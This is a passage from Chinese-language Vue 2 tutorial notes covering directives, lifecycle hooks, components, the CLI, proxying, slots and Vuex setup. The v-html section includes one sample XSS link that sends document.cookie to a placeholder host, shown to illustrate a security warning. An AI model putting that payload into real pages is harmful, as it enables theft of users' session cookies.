            年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
            性别:
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
            爱好:
            学习<input type="checkbox" v-model="userInfo.hobby" value="study"> 
            游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
            运动<input type="checkbox" v-model="userInfo.hobby" value="exercise"><br/><br/>
            所属校区
            <select v-model="userInfo.area">
                <option value="">请选择校区</option>
                <option value="shahe">沙河校区</option>
                <option value="qingshuihe">清水河校区</option>
            </select><br/><br/>
            其他信息:<textarea v-model.lazy="userInfo.other"></textarea><br/><br/>
            <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">《用户须知》</a>
            <button>提交</button>
        </form>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                userInfo: {
                    account: '',
                    password: '',
                    age: '',
                    sex: 'female',
                    hobby: [],
                    area: '',
                    other: '',
                    agree: ''
                }
            },
            methods: {
                demo() {
                    console.log(JSON.stringify(this.userInfo))
                }
            }
        })
    </script>
</body>

十二、内置指令与自定义指令

12.1 内置指令

12.1.1 v-text

作用:向其所在的节点中渲染文本内容

与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会

<body>
    <div id="root">
        <!-- 均输出为:suzie -->
        <div>{{name}}</div> 
        <div v-text="name"></div>

        <!-- 输出为:你好,suzie -->
        <div>你好,{{name}}</div>
        <!-- 输出为:suzie -->
        <div v-text="name">你好,</div>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                name: 'suzie'
            }
        })
    </script>
</body>

12.1.2 v-html

作用:向指定节点中渲染包含html结构的内容

与插值语法的区别:

(1)v-html会替换掉节点中所有的内容,{{xx}}则不会

(2)v-html可以识别html结构

注意:v-html有安全性问题!!!

(1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

(2)一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!

<body>
    <div id="root">
        <div v-html="str"></div>
        <div v-html="str1"></div>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                str: '<h2>你好</h2>',
                // javascript:location.href="xxx.com?"+document.cookie 会获取到浏览器中的cookie
                str1: '<a href=javascript:location.href="xxx.com?"+document.cookie>安全漏洞</a>'
            }
        })
    </script>
</body>

12.1.3 v-cloak(没有值)

本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性;使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-cloak_指令</title>
    <style>
        /* [xxx]表示页面标签中有xxx的标签执行该样式结构 */
        [v-cloak] {
            display: none;
        }
    </style>
</head>
<body>
    <div id="root">
        <div v-cloak>{{name}}</div> 
        <!-- src中写入的文件有延迟,假设需要5s后才可打开该文件,页面会先显示{{name}}5s后开始执行script变成suzie -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                name: 'suzie'
            }
        })
    </script>
</body>
</html>

12.1.4 v-once(没有值)

v-once所在节点在初次动态渲染后,就视为静态内容了,以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<body>
    <div id="root">
        <div v-once>初始化的n值是:{{n}}</div> 
        <div>当前的n值是:{{n}}</div>
        <button @click="n++">点我n+1</button>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                n: 1
            }
        })
    </script>
</body>

12.1.5 v-pre(没有值)

跳过其所在节点的编译过程,可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<body>
    <div id="root">
        <div v-pre>学习Vue的v-pre指令</div> 
        <!-- 当前的n值是:{{n}} -->
        <div v-pre>当前的n值是:{{n}}</div>
        <!-- 当前的n值是:1 -->
        <div>当前的n值是:{{n}}</div>
        <button @click="n++">点我n+1</button>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                n: 1
            }
        })
    </script>
</body>

12.1.6 已学过的内置指令

v-bind:单向绑定解析表达式,可简写为 :xxx

v-model:双向数据绑定

v-on:绑定事件监听,可简写为 @

v-for:遍历数组/对象/字符串

v-if:条件渲染(动态控制节点是否存在)

v-else:条件渲染(动态控制节点是否存在)

v-show:条件渲染(动态控制节点是否展示)

12.2 自定义指令(directives)

12.2.1 定义语法

1.局部指令

new Vue({
    directives: {
        指令名: {配置对象}
    }
})
new Vue({
    directives: {
        指令名() {回调函数}
    }
})

2.全局指令

Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)

 12.2.2 配置对象中常用的3个回调

(1)bind:指令与元素成功绑定时调用

(2)inserted:指令所在元素被插入页面时调用

(3)update:指令所在模板结构被重新解析时调用

12.2.3 注意事项

(1)指令定义时不加v-,但使用时要加v-;

(2)指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

<div id="root">
    <h2>当前的n值是:<span v-text="n"></span></h2>
    <h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
    new Vue({
        el: '#root',
        data: {
            n: 1,
        },
        directives: {
            'big-number'(element, binding) {
                element.innerText = binding.value * 10
                console.log(element, binding, this) //注意此处的this是window
            },
        }
    })
</script>
<body>
    <!-- 
        需求1:定义一个v-big-number指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点 
    -->
    <div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是:<span v-text="n"></span></h2>
        <h2>放大10倍后的n值是:<span v-big-number="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <hr>
        <input type="text" v-fbind:value="n">
    </div>
    <script type="text/javascript">
        // 全局指令
        // Vue.directive('big-number', function(element, binding) {
        //     element.innerText = binding.value * 10
        //     console.log(element, binding)
        // },)
        // Vue.directive('fbind', {
        //     //指令与元素成功绑定时(一上来)
        //     bind(element, binding) {
        //         element.value = binding.value
        //     },
        //     //指令所在元素被插入页面时
        //     inserted(element, binding) {
        //         element.focus()
        //     },
        //     //指令所在模板被重新解析时
        //     update(element, binding) {
        //         element.value = binding.value
        //     }
        // })
        new Vue({
            el: '#root',
            data: {
                name: 'suzie',
                n: 1,
            },
            directives: {
                // big函数何时被调用? 1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
                'big-number'(element, binding) {
                    element.innerText = binding.value * 10
                    console.log(element, binding, this) //注意此处的this是window
                },
                fbind: {
                    //指令与元素成功绑定时(一上来)
                    bind(element, binding) {
                        element.value = binding.value
                    },
                    //指令所在元素被插入页面时
                    inserted(element, binding) {
                        element.focus()
                    },
                    //指令所在模板被重新解析时
                    update(element, binding) {
                        element.value = binding.value
                    }
                }
            }
        })
    </script>
</body>

十三、生命周期

13.1 引出生命周期

生命周期又称生命周期回调函数、生命周期函数、生命周期钩子,是Vue在关键时刻帮我们调用的一些特殊名称的函数;生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的;生命周期函数中的this指向的是vm 或 组件实例对象。

<body>
    <div id="root">
        <h2 v-if="isShow">你好</h2>
        <h2 :style="{opacity: opacity}">欢迎来到电子科技大学</h2>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                opacity: 1,
                isShow: false
            },
            // Vue完成模板的解析并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
            // 例如当把isShow改为true时,mounted也仅打印一次
            mounted() {
                console.log('mounted')
                setInterval(() => {
                    this.opacity -= 0.01
                    if(this.opacity <= 0) {
                        this.opacity = 1
                    }
                }, 16)
            },
        })
    </script>
</body>

13.2 分析生命周期

13.2.1 beforeCreate

此时无法通过vm访问到data中的数据、methods中配置的方法。

13.2.2 created

此时可以通过vm访问到data中的数据、methods中配置的方法。

13.2.3 beforeMount

此时页面呈现的是未经Vue编译的DOM结构,所有对DOM的操作最终都不奏效。

13.2.4 mounted

此时页面呈现的是经过Vue编译的DOM,对DOM的操作均有效(尽可能避免),把初始的真实DOM元素放入页面后(挂载完毕)调用mounted。

一般在此阶段进行:开启定时器、发送网络请求、订阅信息、绑定自定义事件等初始化操作。

13.2.5 beforeUpdate

当数据改变时,此时数据是新的,但页面是旧的,即页面尚未和数据保持同步。

13.2.6 updated

此时数据是新的,页面也是新的,即页面和数据保持同步。

13.2.7 beforeDestroy

此时vm中所有的data、methods、指令等等都处于可用状态,马上要执行销毁过程,但是所有对数据的修改都不会更新。

一般在此阶段进行:关闭定时器、取消订阅信息、解绑自定义事件等收尾操作。

<body>
    <div id="root">
        <h2>当前的n值是:{{n}}</h2>
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁vm</button>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                n: 1,
            },
            methods: {
                add() {
                    console.log('add') 
                    this.n ++
                },
                bye() {
                    console.log('bye') 
                    this.$destroy()
                }
            },
            // 此时无法通过vm访问到data中的数据、methods中配置的方法
            beforeCreate() {
                console.log('beforeCreate')
                console.log(this.n, this.add) //undefined undefined
            },
            // 此时可以通过vm访问到data中的数据、methods中配置的方法
            created() {
                console.log('created')
                console.log(this.n, this.add) //1 add(){...}
            },
            // 此时页面呈现的是未经Vue编译的DOM结构,所有对DOM的操作最终都不奏效
            beforeMount() {
                console.log('beforeMount')
                document.querySelector('h2').innerText = '更改h2标签的内容' //最终页面还是显示原始内容
                // debugger //页面会显示  当前的n值是:{{n}}
            },
            // 此时页面呈现的是经过Vue编译的DOM,对DOM的操作均有效(尽可能避免)
            mounted() {
                console.log('mounted')
                // document.querySelector('h2').innerText = '更改h2标签的内容' //最终页面显示 更改h2标签的内容
                // debugger //页面会显示  当前的n值是:1
            },
            // 当数据改变时,此时数据是新的,但页面是旧的,即页面尚未和数据保持同步
            beforeUpdate() {
                console.log('beforeUpdate')
                console.log(this.n) //当点击按钮后n++,数据为2但是页面呈现的是1
                // debugger
            },
            // 此时数据是新的,页面也是新的,即页面和数据保持同步
            updated() {
                console.log('update')
                console.log(this.n) //当点击按钮后n++,数据为2页面呈现的也是2
                // debugger
            },
            // 此时vm中所有的data、methods、指令等等都处于可用状态,马上要执行销毁过程
            beforeDestroy() {
                console.log('beforeDestroy')
                this.add() //若初始值n为1,点击销毁按钮后执行该函数,n变为2,但是页面仍显示为1
                console.log(this.n) 
            },
            destroyed() {
                console.log('destroyed')
            },
        })
    </script>
</body>

13.3 总结

13.3.1 常用的生命周期钩子

(1)mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。

(2)beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

13.3.2 关于销毁Vue实例

(1)销毁后借助Vue开发者工具看不到任何消息。

(2)销毁后自定义事件会失效,但原生DOM事件仍然有效。

(3)一般不会在beforeDestroy操作数据,因为即便操作数据也不会触发更新流程。

十四、组件(components)

14.1 非单文件组件

Vue中使用组件的三大步骤:①定义组件(创建组件);②注册组件;③使用组件(写组件标签)

14.1.1 定义组件

使用 Vue.extend({options}) 创建,其中options和new Vue({options})时传入的那个options几乎一样,但区别如下:

(1)el不要写——最终所用的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。

(2)data必须写成函数式——避免组件被复用时,数据存在引用关系。

备注:使用template可以配置组件结构, const school = Vue.extend({options}) 可以简写为:const school = {options}

14.1.2 注册组件

(1)局部注册:靠new Vue的时候传入components选项。

(2)全局注册:靠Vue.component('组件名', 组件)

 14.1.3 使用组件

根据编写的组件名直接引用,例如<school></school>

<body>
    <div id="root1">
        <!-- 第三步:编写组件标签(局部) -->
        <school></school>
        <hr>
        <!-- 第三步:编写组件标签(局部) -->
        <student></student>
        <!-- 第三步:编写组件标签(全局) -->
        <full></full>
        <hr>
    </div>
    <div id="root2">
        <!-- 第三步:编写组件标签(全局) -->
        <full></full>
    </div>
    <script type="text/javascript">
        // 第一步:创建school组件
        const school = Vue.extend({
            // el: '#root', // 组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
            template: `
                <div>
                    <h2>学校名称:{{name}}</h2>
                    <h2>学校地址:{{address}}</h2>
                    <button @click="showName">点我提示学校名</button>
                </div>
            `,
            data() {
                return {
                    name: '电子科技大学',
                    address: '成都',
                }
            },
            methods: {
                showName() {
                    alert(this.name)
                }
            },
        })
        // 第一步:创建student组件
        const student = Vue.extend({
            template: `
                <div>
                    <h2>学生姓名:{{studentName}}</h2>
                    <h2>学生年龄:{{age}}</h2>
                </div>
            `,
            data() {
                return {
                    studentName: 'suzie',
                    age: 23,
                }
            }
        })
        // 第一步:创建full组件
        const full = Vue.extend({
            template: `
                <div>{{studentName}},这是全局组件 </div>
            `,
            data() {
                return {
                    studentName: 'suzie',
                }
            }
        })
        // 第二步:注册组件(全局注册)
        Vue.component('full', full)
        new Vue({
            el: '#root1',
            // 第二步:注册组件(局部注册)
            components: {
                school: school,
                student: student
            }
        })
        new Vue({
            el: '#root2',
        })
    </script>
</body>

14.1.4 组件名

(1)一个单词组成

        第一种写法(首字母小写):school;

        第二种写法(首字母大写):School

(2)多个单词组成

        第一种写法(kebab-case命名):my-school;

        第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)

备注:组件名尽可能回避HTML已有的元素名称;可以使用name配置项指定组件在开发者工具中呈现的名字。

14.1.5 组件标签

第一种写法:<school></school>;

第二种写法:<school />

备注:不用使用脚手架时,<school />会导致后续组件不能渲染。

14.1.6 VueComponent

1.组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

2.例如<school /> 或 <school></school>,Vue解析时会帮我们创建school组件的实例对象。

3.每次调用Vue.extend,返回的都是一个全新的VueComponent。

4.关于this的指向:

(1)组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数,它们的this均是【VueComponent】。

(2)new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数,它们的this均是【Vue实例对象】。

5.VueComponent的实例对象简称vc(也可以称之为:组件实例对象);Vue的实例对象简称vm。

14.2 单文件组件

单组件让每一个组件都自成一个文件,后缀为.vue,包含三个部分<template>结构</template>、<script>交互</script>、<style>样式</style>

  • 模块功能主要由两个命令(暴露和引入)构成:export和import

        export命令用于规定模块的对外接口

        import命令用于输入其他模块提供的功能

14.2.1 暴露语法

(1)统一暴露

let school = 'UESTC'
function showName() {
    console.log('名字叫UESTC')
}
export {school, showName}

(2)分别暴露

export let school = 'UESTC'
export function showName() {
    console.log('名字叫UESTC')
}

(3)默认暴露(vue中常用)

export default {
    name: 'UESTC',
    showName() {
        console.log('名字叫UESTC')
    }
}

14.2.2 示例

1.首先写School和Student组件

School.vue
<template>
    <div class="demo">
        <h2>学校名称:{{name}}</h2>
        <h2>学校地址:{{address}}</h2>
        <button @click="showName">点我提示学校名</button>
    </div>
</template>

<script>
    export default {
        name: 'School',
        data() {
            return {
                name: '电子科技大学',
                address: '成都',
            }
        },
        methods: {
            showName() {
                alert(this.name)
            }
        },
    }
</script>

<style>
    .demo{
        background-color: orange;
    }
</style>
Student.vue
<template>
    <div class="demo2">
        <h2>学生姓名:{{studentName}}</h2>
        <h2>学生年龄:{{age}}</h2>
    </div>
</template>

<script>
    export default {
        name: 'Student',
        data() {
            return {
                studentName: 'suzie',
                age: 23,
            }
        }
    }
</script>

<style>
    .demo2{
        background-color: pink;
    }
</style>

2.通过App.vue汇总School和Student组件

<template>
    <div>
        <School></School>
        <Student></Student>
    </div>
</template>

<script>
    // 引入组件
    import School from './School.vue'
    import Student from './Student.vue'
    export default {
        name: 'App',
        components: {
            School,
            Student
        }
    }
</script>

3.写main.js,里面创建vue实例

import App from './App.vue'

new Vue({
    el: '#root',
    components: {App}
})

4.最后在index.html编写整个页面的结构

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>单文件组件的语法</title>
</head>
<body>
    <div id="root">
        <App></App>
    </div>
    <script type="text/javascript" src="./main.js"></script>
    <script type="text/javascript" src="../../js/vue.js"></script>
</body>
</html>

十五、Vue脚手架

15.1 创建脚手架

第一步(仅第一次执行):全局安装 @vue/cli

npm install -g @vue/cli

第二部:切换到你要创建项目的目录,然后使用命令创建项目(以管理员身份运行命令提示)

vue create xxxx

第三步:启动项目

npm run serve

备注:

1、如果出现下载缓慢请配置npm淘宝镜像:

npm config set registry http://registry.npm.taobao.org

 2、Vue脚手架隐藏了所有webpack相关的配置,若想查看具体的webpack配置,请执行:

vue inspect > output.js

15.2 脚手架文件结构

 

15.3 不同版本的Vue

vue.js与vue.runtime.xxx.js的区别:

(1)vue.js是完整版的Vue,包含:核心功能+模板解析器

(2)vue.runtime.xxx.js是运行版的Vue,只包含核心功能,没有模板解析器

因为vue.runtime.xxx.js没有模板解析器,所以不能使用template配置项,需要使用render函数接收到的createElement函数去指定具体内容。

15.4 ref属性

1、用来给元素或子组件注册引用信息(id的替代者)

2、应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)

3、使用方式:

打标识: <h1 ref="xxx">…</h1><School ref="xxx"></School>

获取: this.$refs.xxx

<template>
    <div>
        <h1 v-text="msg" ref="title"></h1>
        <School ref="sch"></School>
        <button @click="showDom" ref="btn">点我输出上方的DOM元素</button>
    </div>
</template>

<script>
    // 引入组件
    import School from './components/School.vue'
    export default {
        name: 'App',
        components: {School},
        data() {
            return {
                msg: '你好'
            }
        },
        methods: {
            showDom() {
                console.log(this.$refs.title) //真实DOM元素
                console.log(this.$refs.sch) //School组件的实例对象(vc)
                console.log(this.$refs.btn) //真实DOM元素
            }
        },
    }
</script>

15.5 props配置项

功能:让组件接收外部传过来的数据

1、传递数据: <Demo name="xxx">

2、接收数据:

(1)第一种方式(只接收):props: ['name']

(2)第二种方式(限制类型):props: {name:数据类型}

(3)第三种方式(限制类型、限制必要性、指定默认值):

props: {
    name: {
        type: 数据类型,
        required: true/false, //必要性
        default: 默认值
    }
}

注意:props是只读的,Vue底层会监测对props的修改,如果进行了修改就会发出警告,若业务需求需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据,但是data中的数据名不能和props中的名称相同

App.vue
<template>
    <div>
        <Student name="Suzie" :age="23"></Student>
    </div>
</template>

<script>
    // 引入组件
    import Student from './components/Student.vue'
    export default {
        name: 'App',
        components: {Student},
    }
</script>
Student.vue
<template>
    <div>
        <h2>学生姓名:{{name}}</h2>
        <h2>学生年龄:{{myAge}}</h2>
        <button @click="updateAge">修改年龄</button>
    </div>
</template>

<script>
    export default {
        name: 'Student',
        data() {
            return {
                myAge: this.age
            }
        },
        methods: {
            updateAge() {
                this.myAge ++
            }
        },
        props: ['name', 'age'] //简单接收

        // 接收的同时对数据进行类型限制
        // props: {
        //     name: String,
        //     age: Number,
        // }
        
        // 接收的同时对数据进行类型限制+默认值的指定+必要性限制
        // props: {
        //     name: {
        //         type: String, //name的类型是字符串
        //         required: true //name是必要的
        //     },
        //     age: {
        //         type: Number,
        //         default: 27 //age的默认值
        //     }
        // }
    }
</script>

15.6 mixin混入

功能:可以把多个组件共用的配置提取成一个混入对象。

15.6.1 定义混合

 例如,创建一个mix.js文件,写入混合对象xxx。

export const xxx = {
    data() {……},
    methods: {……},
}

15.6.2 使用混入

(1)全局混入:在main.js中import该xxx,Vue.mixin(xxx)

(2)局部混入:在用到该混入对象的vue文件中import,mixins: [xxx]

15.7 插件

功能:用于增强Vue。

本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

15.7.1 定义插件

对象.install = function(Vue, options) {
    // 1.添加全局过滤器
    Vue.filter(……)
    // 2.添加全局指令
    Vue.directive(……)
    // 3.添加全局混入
    Vue.mixin(……)
}

15.7.2 使用插件

在main.js中import插件文件xxx,Vue.use(xxx)后所有组件均可使用插件里面的内容。

15.8 scoped

作用:让样式再局部生效,防止冲突。

写法:<style scoped></style>

15.9 总结

15.9.1 组件化编码流程

(1)拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

(2)实现动态组件:考虑好数据的存放位置,数据是一个组件在用还是一些组件在用。

        a.一个组件在用:放在组件自身即可。

        b.一些组件再用:放在他们共同的父组件上(状态提升)。

(3)实现交互:从绑定事件开始。

15.9.2 props的适用场所

(1)父组件 ===> 子组件 通信

(2)子组件 ===> 父组件 通信(要求父组件先给子组件一个函数)

15.9.3 v-model的注意事项

v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

注意:props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

 十六、浏览器本地存储WebStorage

1、存储内容大小一般支持5MB左右(不同浏览器可能不一样)

2、浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

3、相关API:

        (1)接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值:local(session)Storage.setItem('key', 'value'),存储对象类型时value的值要写成JSON.stringify(value)

        (2)接受一个键名作为参数,返回键名对应的值:local(session)Storage.getItem('key'),key对应的value如果是对象类型,则可以把返回值result写成JSON.parse(result)

        (3)接受一个键名作为参数,将其从存储中删除:local(session)Storage.removeItem('key')

        (4)清空存储中的所有数据:local(session)Storage.clear()

4、备注:

        (1)SessionStorage存储的内容会随浏览器窗口关闭而消失。

        (2)LocalStorage存储的内容需要手动清除才会消失。

        (3)local(session)Storage.getItem('key')如果key对应的value获取不到,则getItem的返回值是null。

        (4)JSON.parse(null)的结果依然是null。

十七、组件的自定义事件

功能:一种组件间通信的方式,适用于:子组件 ===> 父组件

A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

17.1 绑定自定义事件

(1)第一种方式:在父组件中<子组件 @绑定事件名="回调" /> 或 <子组件 v-on:绑定事件名="回调" />

(2)第二种方式:在父组件中

<子组件 ref="xxx" />
……
mounted() {
    this.$refs.xxx.$on('绑定事件名', 回调)
}

注意:通过 this.$refs.xxx.$on('绑定事件名', 回调) 绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题。

备注:若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。组件上也可以绑定原生DOM事件,但是需要使用native修饰符,例如:

<Student @click.native="show"></Student>
……
methods: {
    show() {
        console.log('111')
    }
},

若不加native,则click代表子组件的自定义绑定事件。 

17.2 触发自定义事件

在子组件中:this.$emit('绑定事件名',数据)

17.3 解绑自定义事件

在子组件中:this.$off('绑定事件名')

this.$off('example1') //解绑一个自定义事件
this.$off(['example1', 'example2']) //解绑多个自定义事件
this.$off() //解绑所有自定义事件

十八、全局事件总线

功能:一种组件间通信的方式,适用于任意组件间通信。

18.1 安装全局事件总线

new Vue({
    ……
    beforeCreate() {
        Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    },
    ……
})

18.2 使用全局事件总线

(1)接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。

methods: {
    demo(data) {……}
},
……
mounted() {
    this.$bus.$on('绑定事件名', this.demo)
},

(2)提供数据:this.$bus.$emit('绑定事件名', 数据)

注意:最好在beforeDestroy钩子中用$off解绑当前组件所用到的事件,回调函数要是写在$on中要使用箭头函数。

十九、消息订阅与发布(pubsub)

功能:一种组件间通信的方式,适用于任意组件间通信。

19.1 安装pubsub

npm i pubsub-js

 19.2 引入

在需要用到pubsub的组件中引入:import pubsub from 'pubsub-js'

19.3 使用消息订阅与发布

(1)接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。

methods: {
    demo(data) {……}
},
mounted() {
    pubsub.subscribe('订阅名', this.demo) //订阅消息
},

(2)提供数据:pubsub.publish('订阅名', 数据)

注意:最好在beforeDestroy钩子中用 pubsub.unsubscribe(pid) 解绑当前组件所用到的事件,回调函数要是写在$on中要使用箭头函数。

二十、nextTick

1、语法:this.$nextTick(回调函数)

2、作用:在下一次DOM更新结束后执行其指定的回调函数。

3、适用场所:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

二十一、Vue封装的过渡与动画

1、作用:在插入、更新或移除DOM元素时,再合适的时候给元素添加样式类名。

2、图示:

 3、写法

(1)准备好样式

  • 元素进入的样式
    • v-enter-from:进入的起点
    • v-enter-active:进入过程中
    • v-enter-to:进入的终点
  • 元素离开的样式
    • v-leave-from:离开的起点
    • v-leave-active:离开的过程
    • v-leave-to:离开的终点

 (2)使用 <transition> 包裹要过渡的元素,并配置name属性。

(3)若有多个元素需要过渡,则需要使用 <transition-group>,且每个元素都要指定key值。

<template>
    <div>
        <button @click="isShow = !isShow">显示/隐藏</button>
        <transition-group
            appear
            name="animate__animated animate__bounce"
            enter-active-class="animate__swing"
            leave-active-class="animate__fadeOutTopLeft"
        >
            <h1 v-show="isShow" key="1">你好!</h1>
            <h1 v-show="!isShow" key="2">Suzie</h1>
        </transition-group>
    </div>
</template>

<script>
    import 'animate.css'
    export default {
        name: 'Test',
        data() {
            return {
                isShow: 'true'
            }
        },
    }
</script>

<style scoped>
    h1 {
        background-color: orange;
        width: 300px;
    }
</style>

注意:使用第三方库时要在文件里引入。

二十二、vue脚手架配置代理

22.1 配置方法

(1)方法一:在vue.config.js中添加如下配置

devServer: {proxy: '服务器地址'}

优点:配置简单,请求资源时直接发给前端(8080)即可。

axios.get('http://localhost:8080/xxx).then(
    response => {
        console.log('请求成功了', response.data)
    },
    error => {
        console.log('请求成功了', error.message)
    }
)

缺点:不能配置多个代理,不能灵活的控制请求是否走代理。

工作方式:当请求了前端不存在的资源时(即不在public文件夹下的文件),则该请求会转发给服务器(优先匹配前端资源)。

(2)方法二:在vue.config.js中添加如下配置

devServer: {
  proxy: {
    '/api1': { //匹配所有以 '/api1' 开头的请求路径
      target: '服务器1地址', //代理目标的基础路径
      ws: true, //用于支持websocket
      changeOrigin: true,
      pathRewrite: {'^/api1':''}
    },
    '/api2': { //匹配所有以 '/api2' 开头的请求路径
      target: '服务器2地址', //代理目标的基础路径
      changeOrigin: true,
      pathRewrite: {'^/api2':''}
    }
  }
}

优点:可以配置多个代理且可以灵活控制请求是否走代理。

缺点:配置略微繁琐,请求资源时必须加前缀。例如

axios.get('http://localhost:8080/api1/xxx).then(
    response => {
        console.log('请求成功了', response.data)
    },
    error => {
        console.log('请求成功了', error.message)
    }
)

22.2 changeOrigin

(1)changeOrigin为true时代表:服务器收到的请求头中的host为该服务器的端口号。

(2)changeOrigin为false时代表:服务器收到的请求头中的host为8080。

changeOrigin默认为true

22.3 pathRewrite

pathRewrite里面的 '^api1' 是什么意思 ?

答:用代理首先得有一个标识,表明你的这个连接要使用代理。/api1 就是告诉node ,我接口用 /api1 开头的才使用代理,所以接口都写成 /api1/xxx ,最后代理的路径就是

http://localhost:3000/api1/xxx

可是正确的接口路径里面是没有 /api1 的,所以就需要 pathRewrite, 用 '^api1' :'' 把/api1去掉,这样既能有正确的标识,又能在请求接口的时候去掉 /api1 。

二十三、插槽

1、作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,

适用于: 父组件 ===> 子组件

2、分类:默认插槽、具名插槽、作用域插槽

23.1 默认插槽

父组件中:
        <子组件名>
           <div>html结构1</div>
        </子组件名>
子组件中:
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot>插槽默认内容...</slot>
            </div>
        </template>

23.2 具名插槽

父组件中:
        <子组件名>
            <!-- 写法一 -->
            <template slot="插槽名1">
              <div>html结构1</div>
            </template>
            
            <!-- 写法二 -->
            <template v-slot:插槽名2>
               <div>html结构2</div>
            </template>
        </子组件名>
子组件中:
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot name="插槽名1">插槽默认内容...</slot>
               <slot name="插槽名2">插槽默认内容...</slot>
            </div>
        </template>

23.3 作用域插槽

23.3.1 理解

数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。例如,games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定。

23.3.2 具体编码

父组件App中:
		<Category>
			<template scope="scopeData">
				<!-- 生成的是ul列表 -->
				<ul>
					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category>
			<template slot-scope="scopeData">
				<!-- 生成的是h4标题 -->
				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
			</template>
		</Category>
子组件Category中:
        <template>
            <div>
                <slot :games="games"></slot>
            </div>
        </template>
		
        <script>
            export default {
                name:'Category',
                props:['title'],
                //数据在子组件自身
                data() {
                    return {
                        games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                    }
                },
            }
        </script>

二十四、Vuex

24.1 概念

专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对Vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,适用于任意组件间通信。

24.2 何时使用

1、多个组件依赖于同一状态。

2、来自不同组件的行为需要变更同一状态。

24.3 工作原理

可以将Vue Components看作客人,Actions看作服务员,Mutations看作后厨,State看作菜品。

24.4 搭建vuex环境

24.4.1 安装vuex

npm i vuex@3 //指定安装vuex的3版本

注意:vue2中要用vuex的3版本;vue3中要用vuex的4版本,如果直接执行npm i vuex会自动安装vuex的4版本。

 24.4.2 创建文件

创建文件:src/store/index.js

// 该文件用于创建vuex中最为核心的store

import Vue from 'vue'
// 引入vuex
import Vuex from 'vuex'
// 使用插件
Vue.use(Vuex)

// 准备actions——用于响应组件中的动作
const actions = {}
// 准备mutations——用于操作数据(state)
const mutations = {}
// 准备state——用于存储数据
const state = {}

export default new Vuex.Store({
    // actions: actions,
    // mutations: mutations,
